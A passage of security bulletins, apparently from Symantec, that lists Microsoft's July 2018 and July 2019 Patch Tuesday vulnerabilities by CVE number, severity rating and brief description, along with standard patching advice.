A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-8283) MS Rating: Critical
A remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory. This vulnerability may corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8286) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-8288) MS Rating: Critical
A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers. This vulnerability may corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8290) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-8291) MS Rating: Critical
A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers. This vulnerability may corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8294) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-8296) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. This vulnerability may corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-8298) MS Rating: Critical
A remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory. This vulnerability may corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Microsoft Edge Memory Corruption Vulnerability (CVE-2018-8262) MS Rating: Critical
A remote code execution vulnerability exists when Microsoft Edge improperly accesses objects in memory. This vulnerability may corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Microsoft Edge Memory Corruption Vulnerability (CVE-2018-8274) MS Rating: Critical
A remote code execution vulnerability exists when Microsoft Edge improperly accesses objects in memory. This vulnerability may corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Microsoft Edge Memory Corruption Vulnerability (CVE-2018-8301) MS Rating: Critical
A remote code execution vulnerability exists when Microsoft Edge improperly accesses objects in memory. This vulnerability may corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Microsoft Edge Information Disclosure Vulnerability (CVE-2018-8324) MS Rating: Critical
An information disclosure vulnerability exists when Microsoft Edge improperly handles objects in memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-8287) MS Rating: Important
A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers. This vulnerability may corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Internet Explorer Security Bypass Vulnerability (CVE-2018-0949) MS Rating: Important
A security bypass vulnerability exists when Microsoft Internet Explorer improperly handles requests involving UNC resources. An attacker who successfully exploited the vulnerability could force the browser to load data that would otherwise be restricted.
Microsoft Edge Information Disclosure Vulnerability (CVE-2018-8289) MS Rating: Important
An information disclosure vulnerability exists when Microsoft Edge improperly handles objects in memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Microsoft Edge Information Disclosure Vulnerability (CVE-2018-8297) MS Rating: Important
An information disclosure vulnerability exists when Microsoft Edge improperly handles objects in memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8125) MS Rating: Important
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Security Bypass Vulnerability (CVE-2018-8276) MS Rating: Important
A security bypass vulnerability exists in the Microsoft Chakra scripting engine that allows Control Flow Guard (CFG) to be bypassed. By itself, the CFG bypass vulnerability does not allow arbitrary code execution.
Microsoft Edge Spoofing Vulnerability (CVE-2018-8278) MS Rating: Important
A spoofing vulnerability exists when Microsoft Edge improperly handles specific HTML content. An attacker who successfully exploited this vulnerability could trick a user into believing that the user was on a legitimate website.
Microsoft Edge Information Disclosure Vulnerability (CVE-2018-8325) MS Rating: Important
An information disclosure vulnerability exists when Microsoft Edge improperly handles objects in memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Cumulative Security Update for Microsoft Office
Microsoft Office Remote Code Execution Vulnerability (CVE-2018-8281) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Office software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft SharePoint Privilege Escalation Vulnerability (CVE-2018-8299) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft SharePoint Remote Code Execution Vulnerability (CVE-2018-8300) MS Rating: Important
A remote code execution vulnerability exists in Microsoft SharePoint when the software fails to check the source markup of an application package. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the SharePoint application pool and the SharePoint server farm account.
Microsoft SharePoint Privilege Escalation Vulnerability (CVE-2018-8323) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft Access Remote Code Execution Use After Free Vulnerability (CVE-2018-8312) MS Rating: Important
A remote code execution vulnerability exists when Microsoft Access fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could take control of the affected system.
Microsoft Office Tampering Vulnerability (CVE-2018-8310) MS Rating: Low
A tampering vulnerability exists when Microsoft Outlook does not properly handle specific attachment types when rendering HTML emails. An attacker could exploit the vulnerability by sending a specially crafted email and attachment to a victim, or by hosting a malicious.
Cumulative Security Update for Microsoft .NET
ASP.NET Core Security Bypass Vulnerability (CVE-2018-8171) MS Rating: Important
A security bypass vulnerability exists in ASP. NET Core when the number of incorrect login attempts is not validated. An attacker who successfully exploited this vulnerability could try an infinite number of authentication attempts.
.NET Framework Privilege Escalation Vulnerability (CVE-2018-8202) MS Rating: Important
A Privilege Escalation vulnerability exists in . NET Framework which could allow an attacker to elevate their privilege level. To exploit the vulnerability, an attacker would first have to access the local machine, and then run a malicious program.
.NET Framework Remote Code Execution Vulnerability (CVE-2018-8260) MS Rating: Important
A Remote Code Execution vulnerability exists in . NET software when the software fails to check the source markup of a file. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user. Exploitation of the vulnerability requires that a user open a specially crafted file with an affected version of .NET. In an email attack scenario, an attacker could exploit the vulnerability by sending the specially crafted file to the user and convincing the user to open the file.
.NET Framework Remote Code Injection Vulnerability (CVE-2018-8284) MS Rating: Important
A remote code execution vulnerability exists when the Microsoft . NET Framework fails to validate input properly. An attacker who successfully exploited this vulnerability could take control of an affected system. To exploit the vulnerability, an attacker would need to pass specific input to an application utilizing susceptible .Net methods.
.NET Framework Security Bypass Vulnerability (CVE-2018-8356) MS Rating: Important
A security bypass vulnerability exists when Microsoft . NET Framework components do not correctly validate certificates. An attacker could present expired certificates when challenged.
Cumulative Security Update for Microsoft Windows Kernel
Win32k Privilege Escalation Vulnerability (CVE-2018-8282) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Windows kernel-mode driver fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Windows Privilege Escalation Vulnerability (CVE-2018-8313) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Kernel API enforces permissions. An attacker who successfully exploited the vulnerability could impersonate processes, interject cross-process communication, or interrupt system functionality.
Windows Kernel Privilege Escalation Vulnerability (CVE-2018-8308) MS Rating: Important
A privilege escalation vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Cumulative Security Update for Microsoft Windows
PowerShell Editor Services Remote Code Execution Vulnerability (CVE-2018-8327) MS Rating: Critical
A remote code execution vulnerability exists in PowerShell Editor Services. An attacker who successfully exploited this vulnerability could execute malicious code on a vulnerable system.
Visual Studio Remote Code Execution Vulnerability (CVE-2018-8172) MS Rating: Important
A remote code execution vulnerability exists in Visual Studio software when the software fails to check the source markup of a file for an unbuilt project. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Skype for Business and Lync Security Bypass Vulnerability (CVE-2018-8238) MS Rating: Important
A security bypass vulnerability exists when Skype for Business or Lync do not properly parse UNC path links shared via messages. An attacker who successfully exploited the vulnerability could execute arbitrary commands in the context of the logged-in user.
Remote Code Execution Vulnerability in Skype For Business and Lync (CVE-2018-8311) MS Rating: Important
A remote code execution vulnerability exists when Skype for Business and Microsoft Lync clients fail to properly sanitize specially crafted content. The vulnerability could corrupt memory in a way that could allow an attacker to execute arbitrary code in the context of the current user.
Windows FTP Server Denial of Service Vulnerability (CVE-2018-8206) MS Rating: Important
A denial of service vulnerability exists when Windows improperly handles File Transfer Protocol (FTP) connections. An attacker who successfully exploited the vulnerability could cause a target system to stop responding.
Device Guard Code Integrity Policy Security Bypass Vulnerability (CVE-2018-8222) MS Rating: Important
A security bypass vulnerability exists in Device Guard that could allow an attacker to inject malicious code into a Windows PowerShell session. An attacker who successfully exploited this vulnerability could inject code into a trusted PowerShell process to bypass the Device Guard Code Integrity policy on the local machine.
Microsoft Macro Assembler Tampering Vulnerability (CVE-2018-8232) MS Rating: Moderate
A Tampering vulnerability exists when Microsoft Macro Assembler improperly validates code. An attacker could introduce code into an application, which modifies data in an unintended manner.
Windows DNSAPI Denial of Service Vulnerability (CVE-2018-8304) MS Rating: Important
A denial of service vulnerability exists in Windows Domain Name System (DNS) DNSAPI. dll when it fails to properly handle DNS responses.
Windows Mail Client Information Disclosure Vulnerability (CVE-2018-8305) MS Rating: Important
An information disclosure vulnerability exists in Windows Mail Client when a message is opened. This vulnerability could potentially result in the disclosure of sensitive information to a malicious site.
Microsoft Wireless Display Adapter Command Injection Vulnerability (CVE-2018-8306) MS Rating: Important
A command injection vulnerability exists in the Microsoft Wireless Display Adapter (MWDA) when the Microsoft Wireless Display Adapter does not properly manage user input. For this vulnerability to be exploited, the attacker must be authenticated (logged on) to the target display.
WordPad Security Bypass Vulnerability (CVE-2018-8307) MS Rating: Important
A security bypass vulnerability exists when Microsoft WordPad improperly handles embedded OLE objects. An attacker who successfully exploited the vulnerability could bypass content blocking.
Windows Denial of Service Vulnerability (CVE-2018-8309) MS Rating: Important
A denial of service vulnerability exists when Windows improperly handles objects in memory. An attacker who successfully exploited the vulnerability could cause a target system to stop responding.
Windows Privilege Escalation Vulnerability (CVE-2018-8314) MS Rating: Important
A privilege escalation vulnerability exists when Windows fails a check, allowing a sandbox escape. An attacker who successfully exploited the vulnerability could use the sandbox escape to elevate privileges on an affected system.
MSR JavaScript Cryptography Library Security Bypass Vulnerability (CVE-2018-8319) MS Rating: Important
A security bypass vulnerability exists in MSR JavaScript Cryptography Library that is caused by incorrect arithmetic computations. An attacker could craft a signature, without the need of the corresponding key, and mimic the entity associated with the public/private key pair.
Open Source Customization for Active Directory Federation Services XSS Vulnerability (CVE-2018-8326) MS Rating: Important
A cross-site-scripting (XSS) vulnerability exists when an open source customization for Microsoft Active Directory Federation Services (AD FS) does not properly sanitize a specially crafted web request to an affected AD FS server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected AD FS server.
More information is available on Symantec's free Security Center portal and to our customers through the DeepSight Threat Management System.
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Microsoft Patch Tuesday – July 2019
This month the vendor has patched 77 vulnerabilities, 16 of which are rated Critical.
As always, customers are advised to follow these security best practices:
Install vendor patches as soon as they are available.
Run all software with the least privileges required while still maintaining functionality.
Avoid handling files from unknown or questionable sources.
Never visit sites of unknown or questionable integrity.
Block external access at the network perimeter to all key systems unless specific access is required.
Microsoft's summary of the July 2019 releases can be found here:
https://portal.msrc.microsoft.com/en-us/security-guidance
This month's update covers vulnerabilities in:
Internet Explorer
Microsoft Edge
ChakraCore
Microsoft Office
Microsoft .NET
Microsoft Windows
DirectWrite
Graphics Device Interface (GDI)
Microsoft SQL Server
Team Foundation Server
Microsoft Exchange Server
Azure
Microsoft Visual Studio
The following is a breakdown of the issues being addressed this month:
Cumulative Security Update for Microsoft Browsers
Microsoft Browser Memory Corruption Vulnerability (CVE-2019-1104) MS Rating: Critical
A remote code execution vulnerability exists in the way that Microsoft browsers access objects in memory. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Internet Explorer Memory Corruption Vulnerability (CVE-2019-1063) MS Rating: Critical
A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-1001) MS Rating: Critical
A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2019-1004) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2019-1056) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2019-1059) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-1062) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-1092) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-1103) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-1106) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-1107) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Cumulative Security Update for Microsoft Office
Microsoft Office Spoofing Vulnerability (CVE-2019-1109) MS Rating: Important
A spoofing vulnerability exists when Microsoft Office Javascript does not check the validity of the web page making a request to Office documents. An attacker who successfully exploited this vulnerability could read or write information in Office documents.
Microsoft Excel Remote Code Execution Vulnerability (CVE-2019-1110) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Excel software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft Excel Remote Code Execution Vulnerability (CVE-2019-1111) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Excel software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft Excel Information Disclosure Vulnerability (CVE-2019-1112) MS Rating: Important
An information disclosure vulnerability exists when Microsoft Excel improperly discloses the contents of its memory. An attacker who exploited the vulnerability could use the information to compromise the user's computer or data.
Microsoft Office SharePoint XSS Vulnerability (CVE-2019-1134) MS Rating: Important
A cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Cumulative Security Update for Microsoft .NET
.NET Denial of Service Vulnerability (CVE-2019-1083) MS Rating: Critical
A denial of service vulnerability exists when Microsoft Common Object Runtime Library improperly handles web requests. An attacker who successfully exploited this vulnerability could cause a denial of service against a .NET web application.
.NET Framework Remote Code Execution Vulnerability (CVE-2019-1113) MS Rating: Important
A remote code execution vulnerability exists in . NET software when the software fails to check the source markup of a file.
ASP.NET Core Spoofing Vulnerability (CVE-2019-1075) MS Rating: Important
A spoofing vulnerability exists in ASP. NET Core that could lead to an open redirect. An attacker who successfully exploited the vulnerability could redirect a targeted user to a malicious website.
Cumulative Security Update for Microsoft Windows Kernel
Windows Kernel Information Disclosure Vulnerability (CVE-2019-1071) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Windows Kernel Information Disclosure Vulnerability (CVE-2019-1073) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Win32k Information Disclosure Vulnerability (CVE-2019-1096) MS Rating: Important
An information disclosure vulnerability exists when the Win32k component improperly provides kernel information. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Win32k Privilege Escalation Vulnerability (CVE-2019-1132) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Windows Kernel Privilege Escalation Vulnerability (CVE-2019-1067) MS Rating: Moderate
A privilege escalation vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Cumulative Security Update for Microsoft Windows
Windows DNS Server Denial of Service Vulnerability (CVE-2019-0811) MS Rating: Critical
A denial of service vulnerability exists in Windows DNS Server when it fails to properly handle DNS queries. An attacker who successfully exploited this vulnerability could cause the DNS Server service to become non-responsive.
Windows Error Reporting Privilege Escalation Vulnerability (CVE-2019-1037) MS Rating: Critical
A privilege escalation vulnerability exists in the way Windows Error Reporting (WER) handles files. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Windows DHCP Server Remote Code Execution Vulnerability (CVE-2019-0785) MS Rating: Important
A memory corruption vulnerability exists in the Windows Server DHCP service when an attacker sends specially crafted packets to a DHCP failover server. An attacker who successfully exploited the vulnerability could either run arbitrary code on the DHCP failover server or cause the DHCP service to become non-responsive.
SymCrypt Denial of Service Vulnerability (CVE-2019-0865) MS Rating: Important
A denial of service vulnerability exists when SymCrypt improperly handles a specially crafted digital signature. An attacker could exploit the vulnerability by creating a specially crafted connection or message.
Microsoft 'splwow64' Privilege Escalation Vulnerability (CVE-2019-0880) MS Rating: Important
A local Privilege Escalation Vulnerability exists in how splwow64. exe handles certain calls. An attacker who successfully exploited the vulnerability could elevate privileges on an affected system from low-integrity to medium-integrity.
Remote Desktop Services Remote Code Execution Vulnerability (CVE-2019-0887) MS Rating: Important
A remote code execution vulnerability exists in Remote Desktop Services - formerly known as Terminal Services - when an authenticated attacker abuses clipboard redirection. An attacker who successfully exploited this vulnerability could execute arbitrary code on the victim system.
Remote Desktop Protocol Client Information Disclosure Vulnerability (CVE-2019-1108) MS Rating: Important
An information disclosure vulnerability exists when the Windows RDP client improperly discloses the contents of its memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Windows Hyper-V Denial of Service Vulnerability (CVE-2019-0966) MS Rating: Important
A denial of service vulnerability exists when Microsoft Hyper-V on a host server fails to properly validate input from a privileged user on a guest operating system. To exploit the vulnerability, an attacker who already has a privileged account on a guest operating system, running as a virtual machine, could run a specially crafted application that causes a host machine to crash.
ADFS Security Feature Bypass Vulnerability (CVE-2019-0975) MS Rating: Important
A security feature bypass vulnerability exists when Active Directory Federation Services (ADFS) improperly updates its list of banned IP addresses. To exploit this vulnerability, an attacker would have to convince a victim ADFS administrator to update the list of banned IP addresses.
ADFS Security Feature Bypass Vulnerability (CVE-2019-1126) MS Rating: Important
A security feature bypass vulnerability exists in Active Directory Federation Services (ADFS) which could allow an attacker to bypass the extranet lockout policy. To exploit this vulnerability, an attacker could run a specially crafted application, which would allow an attacker to launch a password brute-force attack or cause account lockouts in Active Directory.
DirectX Privilege Escalation Vulnerability (CVE-2019-0999) MS Rating: Important
A privilege escalation vulnerability exists when DirectX improperly handles objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
WCF/WIF SAML Token Authentication Bypass Vulnerability (CVE-2019-1006) MS Rating: Important
An Authentication Bypass vulnerability exists in Windows Communication Foundation (WCF) and Windows Identity Foundation (WIF), allowing signing of SAML tokens with arbitrary symmetric keys. This vulnerability allows an attacker to impersonate another user, which can lead to elevation of privileges.
Microsoft Windows Privilege Escalation Vulnerability (CVE-2019-1074) MS Rating: Important
A privilege escalation vulnerability exists in Microsoft Windows where certain folders, with local service privilege, are vulnerable to symbolic link attack. An attacker who successfully exploited this vulnerability could potentially access unauthorized information.
Microsoft Windows Privilege Escalation Vulnerability (CVE-2019-1082) MS Rating: Important
A privilege escalation vulnerability exists in Microsoft Windows where a certain dll, with Local Service privilege, is vulnerable to race planting a customized dll. An attacker who successfully exploited this vulnerability could potentially elevate privilege to SYSTEM.
Windows WLAN Service Privilege Escalation Vulnerability (CVE-2019-1085) MS Rating: Important
A privilege escalation vulnerability exists in the way that the wlansvc.dll handles objects in memory.
Windows Audio Service Privilege Escalation Vulnerability (CVE-2019-1086) MS Rating: Important
A privilege escalation vulnerability exists in Windows Audio Service. An attacker who successfully exploited the vulnerability could run arbitrary code with elevated privileges.
Windows Audio Service Privilege Escalation Vulnerability (CVE-2019-1087) MS Rating: Important
A privilege escalation vulnerability exists in Windows Audio Service. An attacker who successfully exploited the vulnerability could run arbitrary code with elevated privileges.
Windows Audio Service Privilege Escalation Vulnerability (CVE-2019-1088) MS Rating: Important
A privilege escalation vulnerability exists in Windows Audio Service. An attacker who successfully exploited the vulnerability could run arbitrary code with elevated privileges.
Windows RPCSS Privilege Escalation Vulnerability (CVE-2019-1089) MS Rating: Important
A privilege escalation vulnerability exists in rpcss.dll when the RPC service Activation Kernel improperly handles an RPC request.
Windows 'dnsrlvr.dll' Privilege Escalation Vulnerability (CVE-2019-1090) MS Rating: Important
A privilege escalation vulnerability exists in the way that the 'dnsrslvr.dll' handles objects in memory.
Microsoft 'unistore.dll' Information Disclosure Vulnerability (CVE-2019-1091) MS Rating: Important
An information disclosure vulnerability exists when 'Unistore.dll' fails to properly handle objects in memory.
Windows Privilege Escalation Vulnerability (CVE-2019-1129) MS Rating: Important
A privilege escalation vulnerability exists when Windows AppX Deployment Service (AppXSVC) improperly handles hard links. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows Privilege Escalation Vulnerability (CVE-2019-1130) MS Rating: Important
A privilege escalation vulnerability exists when Windows AppX Deployment Service (AppXSVC) improperly handles hard links. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Docker Privilege Escalation Vulnerability (CVE-2018-15664) MS Rating: Important
A privilege escalation vulnerability in the Docker runtime wherein a malicious container can acquire full read or write access to the host operating system where that container is running.
Security Update for Microsoft DirectWrite
DirectWrite Remote Code Execution Vulnerability (CVE-2019-1117) MS Rating: Important
A remote code execution vulnerability exists in the way that DirectWrite handles objects in memory. An attacker who successfully exploited this vulnerability could take control of the affected system.
DirectWrite Remote Code Execution Vulnerability (CVE-2019-1118) MS Rating: Important
A remote code execution vulnerability exists in the way that DirectWrite handles objects in memory. An attacker who successfully exploited this vulnerability could take control of the affected system.
DirectWrite Remote Code Execution Vulnerability (CVE-2019-1119) MS Rating: Important
A remote code execution vulnerability exists in the way that DirectWrite handles objects in memory. An attacker who successfully exploited this vulnerability could take control of the affected system.
DirectWrite Remote Code Execution Vulnerability (CVE-2019-1120) MS Rating: Important
A remote code execution vulnerability exists in the way that DirectWrite handles objects in memory. An attacker who successfully exploited this vulnerability could take control of the affected system.
DirectWrite Remote Code Execution Vulnerability (CVE-2019-1121) MS Rating: Important
A remote code execution vulnerability exists in the way that DirectWrite handles objects in memory. An attacker who successfully exploited this vulnerability could take control of the affected system.
DirectWrite Remote Code Execution Vulnerability (CVE-2019-1122) MS Rating: Important
A remote code execution vulnerability exists in the way that DirectWrite handles objects in memory. An attacker who successfully exploited this vulnerability could take control of the affected system.
DirectWrite Remote Code Execution Vulnerability (CVE-2019-1123) MS Rating: Important
A remote code execution vulnerability exists in the way that DirectWrite handles objects in memory. An attacker who successfully exploited this vulnerability could take control of the affected system.
DirectWrite Remote Code Execution Vulnerability (CVE-2019-1124) MS Rating: Important
A remote code execution vulnerability exists in the way that DirectWrite handles objects in memory. An attacker who successfully exploited this vulnerability could take control of the affected system.
DirectWrite Remote Code Execution Vulnerability (CVE-2019-1127) MS Rating: Important
A remote code execution vulnerability exists in the way that DirectWrite handles objects in memory. An attacker who successfully exploited this vulnerability could take control of the affected system.
DirectWrite Remote Code Execution Vulnerability (CVE-2019-1128) MS Rating: Important
A remote code execution vulnerability exists in the way that DirectWrite handles objects in memory. An attacker who successfully exploited this vulnerability could take control of the affected system.
DirectWrite Information Disclosure Vulnerability (CVE-2019-1097) MS Rating: Important
An information disclosure vulnerability exists when DirectWrite improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
DirectWrite Information Disclosure Vulnerability (CVE-2019-1093) MS Rating: Important
An information disclosure vulnerability exists when DirectWrite improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Security Update for Windows Graphics Device Interface (GDI)
Windows GDI Information Disclosure Vulnerability (CVE-2019-1116) MS Rating: Critical
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Windows GDI Information Disclosure Vulnerability (CVE-2019-1094) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Windows GDI Information Disclosure Vulnerability (CVE-2019-1095) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Windows GDI Information Disclosure Vulnerability (CVE-2019-1098) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Windows GDI Information Disclosure Vulnerability (CVE-2019-1099) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Windows GDI Information Disclosure Vulnerability (CVE-2019-1100) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Windows GDI Information Disclosure Vulnerability (CVE-2019-1101) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
GDI+ Remote Code Execution Vulnerability (CVE-2019-1102) MS Rating: Important
